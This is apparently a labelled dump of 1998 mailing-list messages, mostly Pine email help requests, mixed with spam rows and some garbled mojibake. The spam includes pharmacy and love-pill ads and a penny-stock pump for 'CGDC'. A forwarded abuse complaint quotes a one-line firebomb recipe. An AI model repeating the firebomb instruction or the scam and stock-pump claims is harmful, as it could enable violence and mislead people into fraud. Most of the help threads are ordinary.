an excel spreadsheet. I am running excel97. Can someone PLEASE help me? ",0,0 kasliwal@jp1.vsnl.net.in,Pine Discussion Forum ,"Fri, 23 Jan 1998 09:00:13 +0000",Re: How Do You?,"That's the way I tried to do it, but the command to go to files takes me to directories on a server somewhere, and will not allow me to specify a file on my own hard disk. So I'm stuck! Would appreciate any other suggestions you may have. By the way, I received a WORD attachment perfectly from another system. On 22 Jan 1998, Norbert Koch wrote: > >>>On Thu, 22 Jan 1998 20:19:06 +0000 (GMT), kasliwal@jp1.vsnl.net.in said: > > Hi, > > k> This system is very user-unfriendly, but I am stuck with it. > k> Please tell me how to attach a WORD file to a message that I am > k> composing? Thanks in advance. > > I suppose by system you mean WinBlows XX, because who else would try > to attach a WORD document? > > Anyway, while composing a message, press ctrl-j (attach file) and > either enter the name of the file or press ctrl-t (to files) in order > to get a directory tree which you can use to search for the file. > > Btw, the pine online-help is *very* well written and able to answer > your question right away, afaik. Also it's a good idea to look for the > options, presently given. > > I hope this is *not* offending and I haven't missed any details. > > l8er, norbert. > > -- > Norbert Koch > a rattlesnake that doesn't bite teaches you nothing! > ",0,0 kasliwal@jp1.vsnl.net.in,Pine Discussion Forum ,"Fri, 23 Jan 1998 09:02:45 +0000",Re: attaching a file (was: How Do You?),"How do I upload a file?. I think the problem is I am not familiar with UNIX systems. The context-sensitive help said that there is no help currently available for attachments. On Thu, 22 Jan 1998, Adam H. Kerman wrote: > posted and mailed > > >From: kasliwal@jp1.vsnl.net.in > >Date: Thu, 22 Jan 1998 20:19:06 +0000 (GMT) > > >This system is very user-unfriendly, but I am stuck with it. > > Try the context-sensitive help. There is a help topic for every function and > option, and each header in the composer. Just hit ^g. > > >Please tell me how to attach a WORD file to a message that I am composing? > > If you are using Unix pine via a shell account, upload the file to your home > directory. Enter the composer, put cursor in headers, ^j and name the file to > attach, fill in rest of headers, write an explanation in the body, send > message. > > ",0,0 kasliwal@jp1.vsnl.net.in,Pine Discussion Forum ,"Fri, 23 Jan 1998 09:09:02 +0000",Re: How Do You?,"I entirely agree with your views on VSNL. Hopefully, we'll soon have a choice on ISPs in India. Meanwhile, thanks for your inputs. On Thu, 22 Jan 1998, Edward M Greshko wrote: > On Thu, 22 Jan 1998 kasliwal@jp1.vsnl.net.in wrote: > > > This system is very user-unfriendly, but I am stuck with it. Please tell > > me how to attach a WORD file to a message that I am composing? Thanks in > > advance. > > In addition to the other messages, which were helpful, it should also be > pointed out that VSNL has not seen fit to upgrade their version of pine. > You are using version 3.91 which is ""old"". Pine is now at 3.96 which > offers the ability to so file uploads and downloads from within pine. > > IMHO, a lot of the problems are created by VSNL. They are a government > run ISP and they give little or no service to their customers.... > > Regards, > > -- > Edward M. Greshko Technical Manager, Electronic Commerce > GSM: +65-975-10860 Control Data Asia/Pacific Region > PGPKey-ID:CA3AFA5D Fingerprint: 2DE6 5527 144E D1BC 3C55 9FA5 518E 52EE > > ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 22 Jan 1998 21:36:24 -0600",RE: HELP,">From: james white >Date: Fri, 23 Jan 98 00:15:04 UT >>From: Robin S. Socha >> ""jw"" == james white writes: >>jw> I have a mime message in my E-mail and have no idea how to convert >>jw> it into MS format. >>You're not using pine. What's ""MS format""? What are you doing here? >One thing you should always remember Robin, is that you should not forget you >friends on the way up because you will most likely need them on the way down. That doesn't apply to kicking people who have billions more than you do.",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Thu, 22 Jan 1998 21:47:14 -0600",Re: attaching a file,">From: kasliwal@jp1.vsnl.net.in >Date: Fri, 23 Jan 1998 09:02:45 +0000 (GMT) >How do I upload a file? If Z-Modem is available to you, use that. The sending side always invokes it using ""sz"" and calling ""rz"" on the receiving side. You must closely examine the communications program that you use to see what you have available. Kermit is also commonly available, but it's more difficult to use. >The context-sensitive help said that there is no help currently available for >attachments. It sounds like portions of the ""help"" file are missing. Complain to your system administrator, and ask him to install the current pine, now at 3.96. ",0,0 kasliwal@jp1.vsnl.net.in,Pine Discussion Forum ,"Fri, 23 Jan 1998 09:17:55 +0000",Re: How Do You?,"I have also not been able to figure out how to save things on my machine, instead of on the remote system (which seems to be the default)? On 22 Jan 1998, Norbert Koch wrote: > >>>On Thu, 22 Jan 1998 20:19:06 +0000 (GMT), kasliwal@jp1.vsnl.net.in said: > > Hi, > > k> This system is very user-unfriendly, but I am stuck with it. > k> Please tell me how to attach a WORD file to a message that I am > k> composing? Thanks in advance. > > I suppose by system you mean WinBlows XX, because who else would try > to attach a WORD document? > > Anyway, while composing a message, press ctrl-j (attach file) and > either enter the name of the file or press ctrl-t (to files) in order > to get a directory tree which you can use to search for the file. > > Btw, the pine online-help is *very* well written and able to answer > your question right away, afaik. Also it's a good idea to look for the > options, presently given. > > I hope this is *not* offending and I haven't missed any details. > > l8er, norbert. > > -- > Norbert Koch > a rattlesnake that doesn't bite teaches you nothing! > ",0,0 Iztok Polanic ,Pine Discussion Forum ,"Fri, 23 Jan 1998 10:10:08 +0100",Errors.....,"Hello !!! When I'm reading mail then I also download mail in the background (cron). And then i get some errors that mailbox is closed because of write errors. I know what this means but is there anyway how to overcome this and not to close your pine every time when pine gets new mail???? Bye. xxxxxx ////// xx xx ( o o ) xx xx /------------oOO-----O-----OOo------------\\ xxxx | From: Iztok Polanic | xx xx | E-mail: Iztok.Polanic1@guest.arnes.si | xx xx | WWW: http://www2.arnes.si/~ssdipola | xx xx \\-----------------------------------------/ ",0,1 """�������� 5�j���W�k�u�@ ���`��l / �a��©`�� / �N�� / �y / ���s�t�@�����L�X�v�� ��������WKNQNQHALL"" ",handyboard@media.mit.edu,"Fri, 25 Aug 1893 20:16:04 +0800",{�@��}�b�c�d�e�R���� VCD/DVD �ӹL�A�R�ƤQ�a���Ӫ��~�� �O�ҵ��@ �n�v���e�d�c�b{Marina},Tammy �s�W����1 ���r��-��-�H-��-��-���S���F..�y����������..�K�y�^�X��..���������^���R�@--�N Marina~ �k�D���m���s�Y���n�b�����W���F���P���A�������F�A�Y�����H�������R�����Q�C �q���W���U������������ �s�k���]�R��{Shelia} Ami Ayukawa ���t���� 2/18/1981 160 90-62-87 E-70 �@,1,1 Miguel Mansfield ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 22 Jan 1998 21:59:11 -0500",down-down my weight,", specular see counterexample the acs the disdain or calfskin ",1,0 Belk Kaya ,mailarch+pine-info@groupms.cac.washington.edu,"Thu, 22 Jan 1998 23:56:35 -0500",The REAL Diet Deal,"and cessna or adjectival be adjutant try bestirring and jinx ",1,0 Didier Godefroy ,Pine Discussion Forum ,"Fri, 23 Jan 1998 11:26:28 +0000",autoresponders,"Has anyone setup autoresponders with slocal? Is it good enough to handle several autoresponders per unix account? -- Didier Godefroy mailto:godefro@ibm.net mailto:dg@ulysium.net http://web.ulysium.net/ ",0,1 Jochebed Akin ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 23 Jan 1998 04:40:55 -0500",This diet plan is over the roof,"not hector it's lo or blip and radio may reach ",1,0 kantorcz@aiu-server.aiu.k12.pa.us,Pine Discussion Forum ,"Fri, 23 Jan 1998 13:04:09 -0500","help, please","Dear Sir (Madam): We are eighth grade students interested in a career as a sports analyst. Would you be willing to answer a few questions for our career journal? Thank you. Alex Hindman Elizabeth Foward Middle School Elizabeth PA 15037 ",0,0 solome02@TIGGER.STCLOUDSTATE.EDU,Pine Discussion Forum ,"Fri, 23 Jan 1998 12:22:44 -0600",,"hi, I have a problem with my pine e-mail. When I am reading my mail, the control keys at the bottom of the page start mixing with my text. The more I press the down arrow key the more the control lists duplicate and run into my mail. thank you for your help ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 23 Jan 1998 10:52:33 -0800","Re: help, please"," well, I'd love to, but I""m a system administrator. Now my fiance is a system analyst, which is a little closer to sports analyst, but still no cigar. You might try emailing an actual sports analyst, but I don't know where you would find one. Vinnie -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Fri, 23 Jan 1998, Alex Hindman wrote: > Dear Sir (Madam): > We are eighth grade students interested in a career as a sports analyst. > Would you be willing to answer a few questions for our career journal? > > Thank you. > > Alex Hindman > Elizabeth Foward Middle School > Elizabeth PA 15037 > > > > > ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 23 Jan 1998 11:05:16 -0800",Re: your mail," it sounds like a terminal problem to me you might try typing (at the prompt, before you go into pine) $TERM=vt100 $export TERM $pine where $ is the prompt this is all case sensitive -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Fri, 23 Jan 1998 solome02@TIGGER.STCLOUDSTATE.EDU wrote: > hi, > I have a problem with my pine e-mail. When I am reading my mail, the > control keys at the bottom of the page start mixing with my text. The > more I press the down arrow key the more the control lists duplicate and > run into my mail. > thank you for your help > > > ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Fri, 23 Jan 1998 13:47:04 -0600",Re: your mail,">From: Drachen >Date: Fri, 23 Jan 1998 11:05:16 -0800 (PST) >it sounds like a terminal problem to me >you might try typing (at the prompt, before you go into pine) >$TERM=vt100 >$export TERM >$pine >where $ is the prompt She could be having a terminal emulation problem on her end. She needs to check that first.",0,0 Tim Deranek ,Pine Discussion Forum ,"Fri, 23 Jan 1998 14:44:59 -0800",AddressBook,"We recently began using pine 3.96 on a linux server for our regional mail. I have compiled group list (all, each office, departments) which our located in /etc/aliases. They work fine but I need to figure out how to link these to each users addressbook. Any suggestions... ",0,0 Drachen ,Pine Discussion Forum ,"Fri, 23 Jan 1998 12:08:08 -0800",Re: your mail,"true. though my experience is that most telnet clients default to reasonable values, but they don't always seem to communicate them well. but then, mostly I've used crappy MS products, or linux, which normally behaves. Vinnie -- drachen@eni.net System Administrator Epoch Internet ""Connecting The World, One Business At A Time...... By Caring About A Customers Success"" abuse@eni.net Spam Patrol On Fri, 23 Jan 1998, Adam H. Kerman wrote: > >From: Drachen > >Date: Fri, 23 Jan 1998 11:05:16 -0800 (PST) > > >it sounds like a terminal problem to me > > >you might try typing (at the prompt, before you go into pine) > > >$TERM=vt100 > >$export TERM > >$pine > > >where $ is the prompt > > She could be having a terminal emulation problem on her end. She needs to check > that first. > > >",0,0 Alicia Goodman ,Pine Discussion Forum ,"Fri, 23 Jan 1998 15:19:19 -0500",folders,"How do you delete files you once saved messeges in that you no longer want; the folders-how to delete? Thanks for your time! Alicia **************************** the little things in life make it all worth while 9:39pm 01-12-98 ..Al :0) :0) :0) :0) **************************** ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Fri, 23 Jan 1998 22:33:57 +0100",Re: folders,">> ""AG"" == Alicia Goodman writes: AG> How do you delete files you once saved messeges in that you no AG> longer want; PINE 3.96 FOLDER INDEX Folder: saved-messages Message 1 of 1 1 Jan 23 To: s.teufel@ndh.net (9,404) *argl* *argl* ? Help M Main Menu P PrevMsg - PrevPage D Delete R Reply O OTHER CMDS V [ViewMsg] N NextMsg Spc NextPage U Undelete F Forward Ummm... I wonder what the meaning of ""delete"" is in English. Upps... it *is* English... You need to eXpunge them after marking for deletion, unless you're set the appropriate feature in the Config. AG> the folders-how to delete? PINE 3.96 FOLDER LIST Folder: saved-messages 1 Message INBOX sent-mail saved-messages archive ? Help M Main Menu P PrevMsg - PrevPage D Delete R Reply O OTHER CMDS V [ViewMsg] N NextMsg Spc NextPage U Undelete F Forward Ummm... I wonder what the meaning of ""delete"" is in English. Upps... it *is* English... AG> Thanks for your time! Sure. Would you mind correcting your sig according to Internet standards and hitting ^T before sending the next mail? TIA. Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University We call for reinforcements from the friends that we have known But this is the 1990s and we are on our own",0,0 KARRA MARIE DUCHI ,Pine Discussion Forum ,"Fri, 23 Jan 1998 16:00:19 -0800",bug?," All of my messages were erased, and I would like to find out why. Last time I checked my mail, I chose a few messages to erase, but I did not erase all of them. Please help me!! ",0,0 HobbyTec ,handyboard@media.mit.edu,"Fri, 23 Jan 1998 20:08:38 -0800",MC68HC811E2," Hi, I got a bag of HC811E2's and would like to know if they can be used with the handyboard to replace the HC11A1. Thanks, Quinn Marshal ",0,0 Mallory Wiggins ,handyboard@media.mit.edu,"Sat, 24 Jan 1998 05:29:46 +0400",We SelIs all Medss 8C," The most complete Phar macy Online We carry all major medds at bargain price Viggra, Ci ialis, VaIium, Xa naax Phantermiine, Ulltraam and etc... SatiisfactIon Gua ranteeed http://falvlr.tactpuppy.info/?18987374 PM7 ",1,1 Reagan Morehouse ,mailarch+pine-info@groupms.cac.washington.edu,"Fri, 23 Jan 1998 20:33:28 -0500",It will blow away body fat,"may debugged but proust some crocus ! becalm in clinging ",1,0 Tyrone Hatch ,Ida ,"Sat, 24 Jan 1998 11:08:40 +0500",Re: ," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! 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Lea ---------- Forwarded message ---------- Date: Sat, 24 Jan 1998 10:27:44 -0800 From: Mike Jones To: Lea Subject: Re: Bombs (fwd) We will do so, and thank you for alerting us to the problem. Lea wrote: > Could you please take appropriate action with this user? > > Thank you. > > Lea > ----------------------------------------------------------------------------- > Marianne Aldridge (Lea) CNS Consulting Team; Helpdesk > maldridg@gpu.srv.ualberta.ca OR helpdesk@gpu.srv.ualberta.ca > 492-9380 (voicemail) OR 492-9400 (helpdesk) > http://www.ualberta.ca/~maldridg/tutor/Tutorials.html > http://gpu.srv.ualberta.ca/~maldridg/Wiz/Wizard > ----------------------------------------------------------------------------- > > ---------- Forwarded message ---------- > Date: Thu, 22 Jan 1998 19:43:35 +0600 > From: Jewel Knofler > To: Pine Discussion Forum > Subject: Bombs > > Fill a glass bottle with gas and put a cloth in the neck of the bottle > and light it and BOOM!!!!!!! -- Michael D. Jones Director, Information Systems MORGAN HILL UNIFIED SCHOOL DISTRICT 15600 Concord Circle Morgan Hill, CA 95037 (408) 779-8309 (408) 776-0258 FAX mjones@do.mhu.k12.ca.us http://www.mhu.k12.ca.us",0,1 Sandy Podulka ,Pine Discussion Forum ,"Sat, 24 Jan 1998 14:38:19 -0500",Help Suppressing Distribution List,"We have no local support to turn to for help, so I hope someone can help me. Is there a way to suppress sending the distribution list, in an outgoing message, so the receiver does not have to read the long list of names you sent the message to? Thanks very much. Sandy Podulka sgp4@cornell.edu ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 24 Jan 1998 21:15:49 +0100",Re: 2 SMTP servers,">> ""D"" == DCKoepp writes: D> I am new to the Internet and found out that I need a server(?) in D> order to be able to receive updates for my programs I have D> installed. I am on AOL and from what I understand they cannot do D> this. Is my info correct? No. D> Please help and explain what I must do if you can. You need to contact the AOL support hotline. And you need to read newsgroups like newuser.info and newuser.questions. Robin -- Robin S. Socha Political Science Dept., Bonn University Free Software: Contribute nothing, expect nothing",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sat, 24 Jan 1998 21:14:41 +0100",Re: Help Suppressing Distribution List,">> Sandy Podulka writes: SP> We have no local support to turn to for help, so I hope someone SP> can help me. Is there a way to suppress sending the distribution SP> list, in an outgoing message, so the receiver does not have to SP> read the long list of names you sent the message to? Read the User Guide, check for lcc and bcc. That's what you're looking for. Robin -- Robin S. Socha Political Science Dept., Bonn University I've got my nose pierced. :-) (Judy Kobza) Shouldn't that be :+) ???? (Frank van der Hulst)",0,0 Louisa Coffman ,mailarch+pine-info@groupms.cac.washington.edu,"Sat, 24 Jan 1998 07:38:42 +0520",Dont expose your intimate life!,"http://whutkf.coatbig.info/?35051456 Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. We give you the issue! Make a quick, secure and ABSOLUTELY CONFIDENTIAL purchase online and receive your LICENSED love life enhancer right to your door! No privacy exposure, no time wasted, no exorbitant pri$es! Start a super life now! Our store is VERIFIED BY BBB! All transactions are APPROVED BY VISA! http://whutkf.coatbig.info/?35051456 ",1,1 Alex Roytman ,Pine Discussion Forum ,"Sat, 24 Jan 1998 20:37:09 -0800",BinHex 4.0 for Win'95!,"I am looking for BinHex 4.0 mail decoding program too. However, all references that I could find on Internet are for Unix and Mac users only. So what am I to do if I'm using Windows 95 and just received an e-mail that starts with a line that looks like that ""Must be converted through BinHex 4.0"". Thank you in advance. Eugene Roitman ",0,0 guarantee approval ,"""mailarch+pine-info@groupms.cac.washington.edu"" ","Sat, 24 Jan 1998 11:24:22 -0700",mailarch+pine-info@groupms.cac.washington.edu a card is available and waiting," Issued To: Arnold@em.ca Arnold@em.ca Please respond: ASAP Dear bait-excelled@em.ca, Great news - I couldn't be happier for you. You are Approved and Guaranteed to find 1-10 credit cards of your choice. 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Socha"" ",Pine Discussion Forum ,"Sun, 25 Jan 1998 08:27:50 +0100",Re: panasonic kx-p2123,">> Ted Mims writes: TM> i am looking for the manual how to feed the paper. Could some native speaker tell me that this is a joke, please? Robin - puzzled -- Robin S. Socha Political Science Dept., Bonn University Microsoft isn't the answer. Microsoft is the question, and the answer is NO.",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Sun, 25 Jan 1998 01:00:05 -0800",Re: panasonic kx-p2123,"Robin, Few can dispute the fact that this place is increasingly inhabited by morons. Your puzzlement is noted, but your exquisite command of the English language is not called into question. I think this falls into the category of ""RTFPM"" (Read the fearsome printer manual) and also learn the lingua franca of the Internet....ENGLISH!!! (and I freely confess that it's not an ideal standard) Let's face it, Gerald is linguistically challenged, and has little interest in the printed material which was supplied to him (in his own language, no less) which would cause him to be able to operate his machinery! Auf Wiedersehn Mein Freund! -Colin. ",0,0 Amit Bhave ,Pine Discussion Forum ,"Sun, 25 Jan 1998 14:55:19 +0000",transfer of messages,"hi, i have made several folders in my login (apart from the usual ones like inbox, sent mail etc.) and would like to transfer certain messages to these folders. could you tell me how to go about doing this using pine ? thanks, amit bhave (xlri - jamshedpur, india) _____ (~._.~) ( Y ) ()_*_() (_)-(_) ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 25 Jan 1998 10:18:07 +0100",Re: hello!,">> Benny writes: B> hello! No. B> 25 yr old man, No. B> just wondering whether u have acquired the infomation u wanted on B> how to make explosive without plutonium or chemicals? Yes. You take a 25 yr old idiot, fill it with bio-gas and put it on fire. According to recent studies by friends of the enviroment, bio-gas is not a chemical, because it's natural. B> if u have, pls let me know cos i'm interested also! Thank you very much for your valuable input. No, please go back to Mummy before I have to send you some information about XFree 3, ok? Robin ""whyaretheresomemanyidiotsonthislist"" Robin -- Robin S. Socha Political Science Dept., Bonn University Score another place on the universal shit-list, for the morons in Redmond. (PhlaXioR)",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Sun, 25 Jan 1998 10:57:05 +0100",Re: transfer of messages,">> Amit Bhave writes: AB> hi, i have made several folders in my login (apart from the usual AB> ones like inbox, sent mail etc.) and would like to transfer AB> certain messages to these folders. could you tell me how to go AB> about doing this using pine ? thanks, Dear Amit, I'm going to London for a month, which is why I'm in a fairly good mood... otherwise my answer would have been a bit shorter and would have contained language unsuitable for children, because your question is a VFAQ. }:-> The answer to your question is in the Pine FAQ, which can be found on the Pine website, and should also be on your system. You will find a pointer to Nancy McGough's filtering mail FAQ, which is a brilliant document and will answer all your questions. The short answer is ""man procmail"", ""man procmailex"". Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University main(){printf(&unix[""\\021%six\\012\\0""],(unix)[""have""]+""fun""-0x60);}",0,0 pine-robot@docserver.cac.washington.edu,Pine Discussion Forum ,"Sun, 25 Jan 1998 03:00:06 -0800",WHERE TO FIND INFORMATION ABOUT PINE," This message is being sent to this mailing list weekly in order to aid readers in finding information about Pine. Before sending questions to the mailing list, please consult these resources: The Pine program itself includes extensive internal, context-sensitive help. Additional information, including a User's Guide, Technical Notes, Questions & Answers, where to obtain the Pine software, what tools are available to perform tasks that Pine itself does not, and more, can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/ - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/docs/. Here, you will find most of the documents from the Pine Information Center in plain-text form. - The Pine documents on the host ftp.cac.washington.edu can also be read from within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/docs/[] The messages from this mailing list are archived. These archives can be accessed: - In the Pine Information Center on the World Wide Web at the URL: http://www.washington.edu/pine/pine-info/ (includes a searchable index of all archived messages, and information on how to subscribe to this mailing list) - Via anonymous FTP on the host ftp.cac.washington.edu in the subdirectory /pine/pine-info/. - From within Pine by defining a folder collection (from Pine's MAIN MENU, choose SETUP, Config; then move to folder-collections and choose Add Value) as: *{ftp.cac.washington.edu/anonymous}pine/pine-info/[] Please note: the mailing list is no longer mirrored in the comp.mail.pine newsgroup. If you have a question about Pine, chances are it has been asked before and you can find the answer either through the searchable index of past messages, or among the ""Questions & Answers"" at the URL: http://www.washington.edu/pine/QandA/ or ftp://ftp.cac.washington.edu/pine/docs/QandA.txt If you need personal assistance with using or configuring Pine, contact the technical support staff or computer help desk of YOUR Internet Service Provider, school, university, employer, ... -- whichever organization provided you with the email account on which you are using, or planning on using, Pine. Because system functions and configuration can vary from site to site, they are best qualified to assist you. (Due to the large number of Pine installations worldwide, the University of Washington cannot provide individual support services to Pine users at other organizations.) Sun Jan 25 03:00:06 PST 1998 ----------------------------------- Pine development and support team University of Washington Computing & Communications ----------------------------------- ",0,1 Alan Kiplinger ,solcoord-send@proton.sel.noaa.gov,"Sun, 25 Jan 1998 10:57:56 +0700","VLA/YOHKOH Coordinated Filament Observations - Jan.26,1997","The target for the final observations of this filament campaign are to continue observing the filament observed on the 22nd and 23rd. The VLA will be targeting two segments which will be located at S07W61 and S23W42 at 19:00 UT on Jan. 26, 1997. Since at the highest frequencies, the VLA cannot see both at once, it will alternate pointing each minute. The SOONSPOT observatories will continuously target the segment at S07W61 and that should be the target of observatories with limited fields of view. VLA observations will occur from 15:47-21:47 UT on Jan.26. Thank you for your cooperation. The campaign leader of these observations, Dr. Gopalswamy, would like to hear about collaborative observations that have been obtained. You may respond to: gopals@fugee.gsfc.nasa.gov ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Sun, 25 Jan 1998 11:37:47 -0600",Re: panasonic kx-p2123,">From: ""Robin S. Socha"" >Date: 25 Jan 1998 08:27:50 +0100 >>> Ted Mims writes: >TM> i am looking for the manual how to feed the paper. >Could some native speaker tell me that this is a joke, please? >Robin - puzzled Well, paper comes from trees. And trees eat celebrity Alpine skiers. Feed your paper a skier.",0,0 Dhananjay Shrikhande ,Pine Discussion Forum ,"Mon, 26 Jan 1998 00:17:09 +0530",problem with eudora light-3,"while sending the mail through eudora i am getting a error message as ""eudora is tired of waiting for the system to respond.press ok if you wish to continue waiting or cancel otherwise."" i feel there is some problem with serial.mod file . please send me the file if u have it. ",0,0 Clifford Clayton ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 25 Jan 1998 07:31:27 +0500","[fwd] Put CGDC on your radar's now. This stock shows a significant up in stock price and sometimes in days, not months or years.","CHINA GOLD CORP Symbol: CGDC Current Price: 2.06 A Company engaged in gold and minerals exploration and development of gold and mineral properties in China. Why consider CHINA GOLD CORP (CGDC)? Seee n0wadays what happened. ∙ Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. (Adjusted for inflation.) ∙ HUGE gold discovery in southwestern China - Resources have already been estimated by analysts at 14 million ounces...and the number keeps climbing. ∙ China is the world's last great under-explored land-mass - Locked away in a Marxist time-warp with limited exploration technology, China's rich virgin gold fields have been overlooked and ignored until recently. ∙ China is already the world's 4th largest producer of gold ≈ and will soon be the world's #1 producer AND #1 consumer. The country is going gold-crazy! ∙ Foreign gold companies are now welcome - and the laws have been changed to provide full legal protection. You can see China's developing gold boom is building momentum. Rare opportunity for early investors!! CURRENT NEWS: CHINA GOLD CORP (CGDC) Announces Five for One Forward Stock Split CHINA GOLD CORP is a Nevada Corporation, engaged in gold and minerals exploration and development of gold and mineral properties in China. The company is pleased to announce today that the board of directors has approved a five-for-one forward stock split. The record date for the forward stock split is to be effective closing Friday, May 12, 2006. Stockholders of the record date will be entitled to four additional shares of common stock for each share of common stock held on that date. ABOUT THE COMPANY China Gold Corp. is a Nevada Corporation, engaged in gold and minerals exploration and development of gold and mineral properties in China. China Gold Corp is dedicated to delivering growth to the shareholder by employing a disciplined business methodology through acquisitions and joint ventures. The Company seeks to acquire properties with the following development criteria: largely unexplored but highly prospective geological regions, ability to generate near-term revenue and cash flow, tremendous geological potential for world-class economic deposits. Conclusion: The Example Above Show The Awesome, Earning Potential of Little Known Company That Explode Onto Investor's Radar Screens; Many of You Are Already Familiar with This. Is CGDC Poised and Positioned to Do that For You? Then You May Feel the Time Has Come to Act... And Please Watch this One Trade tomorrow! Go CGDC. Penny st0cks are considered highly speculative and may be unsuitable for all but very aggressive investors. This Profile is not in any way affiliated with the featured company. This report is for entertainment and advertising purposes only and should not be used as investment advice. If you wish to stop future mailings, or if you feel you have been wrongfully placed in our membership, send a blank e mail with No Thanks in the sub ject to",1,0 bslq ,Pine Discussion Forum ,"Sun, 25 Jan 1998 14:13:12 -0500",HELP,"How do I get a second e-mail address on my computer? I want to separate my mail from the mail of others in my household. Help! Help! Help! -tasha ",0,0 Calaya J Williams ,Pine Discussion Forum ,"Sun, 25 Jan 1998 13:04:54 -0900",help," I am a new student to Pine. I have a Euroda Pro that I have been using for awhile. I want to use Eudora for ruch messages until I get familiar with Pine. I have just discovered that if I retrieve my mail thru Eudora it erases/deletes my mail in my Pine account. What can I do to prevent this? Thanks, calaya ",0,0 Christopher Hicks ,Pine Discussion Forum ,"Sun, 25 Jan 1998 18:35:04 -0500",setting flags via procmail,"Does anyone have a procmail formula that will allow flags to be set for pine? I'd like to flag certain messages as important in pine for mailing lists. In my case I'm going to be doing it based on the From address. [I know this isn't purely a pine question, but it isn't purely a procmail question either.] 63.Thou shalt not employ cheese as a means of sexual arousal. -http://www.mindworkshop.com/alchemy/command.html",0,1 Chuck McManis ,Robot Board Mailing List ,"Sun, 25 Jan 1998 13:33:45 -0800",My servo controller article,"I've updated it with the figure showing the state diagram. I apologize for the wide distribution but I've lost the email of the folks who wanted to see that figure. The updated article is at http://www.professionals.com/~cmcmanis/robotics/servo.html --Chuck ",0,1 Beatrice Bowers ,handyboard@media.mit.edu,"Sun, 25 Jan 1998 13:29:56 -0400",Real men never cry,"Watching Castenago, Peridor saw the big-jawed dictator take The Shadow's guns and toss them carelessly into a table drawer, as a symbol of good faith that wasn't in Castenago's mind. The broad smile on Castenago's lips gave real evidence as to his sentiments. Your gir1 is unsatissfied with your p0tency? But you never cry because you are real men! Keep_your_dessire ALL TIME with che@pest love pi11z! clickheerre ""It's the painkillers the doctors gave you,"" Mrs. Banks, told him. She leaned forward and patted his hand. ""Get some sleep. I'll come back in a few hours.""",1,1 Erin Kahler ,Pine Discussion Forum ,"Sun, 25 Jan 1998 21:17:29 -0500",help!," I need to print files to my local PC printer, but cannot find the commands to accomplish this. Can you please help? Sincerely, Erin Kahler ekahler@utk.edu ",0,0 Norbert Koch ,Pine Discussion Forum ,"Mon, 26 Jan 1998 07:23:18 +0100",Re: help,">>>On Sun, 25 Jan 1998 13:04:54 -0900 (AKST), Calaya J Williams said: CJW> I am a new student to Pine. I have a Euroda Pro that I have been CJW> using for awhile. I want to use Eudora for ruch messages until I CJW> get familiar with Pine. I have just discovered that if I CJW> retrieve my mail thru Eudora it erases/deletes my mail in my CJW> Pine account. What can I do to prevent this? Thanks, calaya Hmmm, not basicly pine ... have you set 'delete mail on server' in Eudora. You should disable this or, instead, enable 'leave mail on server' (or something alike ... don't know the setup-variables). Then, imo, you should be able to see the mails in pine, even after accessing them via Eudora. hth, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing!",0,0 Raja Brewhaha ,Pine Discussion Forum ,"Mon, 26 Jan 1998 02:02:04 -0700",Newsreading,"I use Pine 3.95 on an IBM AS??? under AIX and Lynx. I like the newsreading of Pine MOSTLY, and it competes against Tin, so I seldom use it for the following reasons: 1) Newsgroups hav no descriptions to the right...not a big plus but. 2) NGs hav no unread messages number beside them. 3) You CAN and Tin does keep track of exactly which messages in which groups hav been read in the newsrc file. Within Tin's newsrc file are read messages number ranges, like this: alt.security.pgp: 1-50, 100-120, 500-575 4) When I configure Pine for two newservers, it uses the same newsrc file for both, and the servers hav NOT the same newsgroups. 5) Every time I change the newsgroups a message is to be posted in, Pine checks them for validity, and takes its time doing it (more time than a failed post). Why not just let the post ""fail""? It might not fail completely: if the NGs don't exist, only that part of the post fails. I think that's how Tin works. 6) There's no NG post cancellation feature: You can put the ""control: cancel"" header in yourself, and it's not a one key operation. --BrewJay ",0,0 Amato Burstein ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 25 Jan 1998 23:58:52 -0700",Re: VALtsUM new,"Hi V z I v A f G t R i A l X f A v N t A w X m V s A h L o I v U s M w C b I q A u L f I e S d http://www.highlarvan.com gadge swive kraa childlik parsle Stunned, Marie stared at the television set, at the satellite news program beamed from Miami. Then she screamed as a camera moved in on a glass table in a town called Anderlecht in Belgium and the name printed in red across the top. Johnny! St. Jacques burst through the bedroom door of the suite he had built for himself on the second floor of Tranquility Inn. Christ, what is it? ",1,1 Edward M Greshko ,Pine Discussion Forum ,"Mon, 26 Jan 1998 23:14:16 +0800",Re: transfer of messages,"On 25 Jan 1998, Robin S. Socha wrote: > I'm going to London for a month, which is why I'm in a fairly good > mood... I was to London for a month one week. I'm not certain that going there will help your disposition at all. Or, maybe, it is just the prospect of being let out of where your are now which 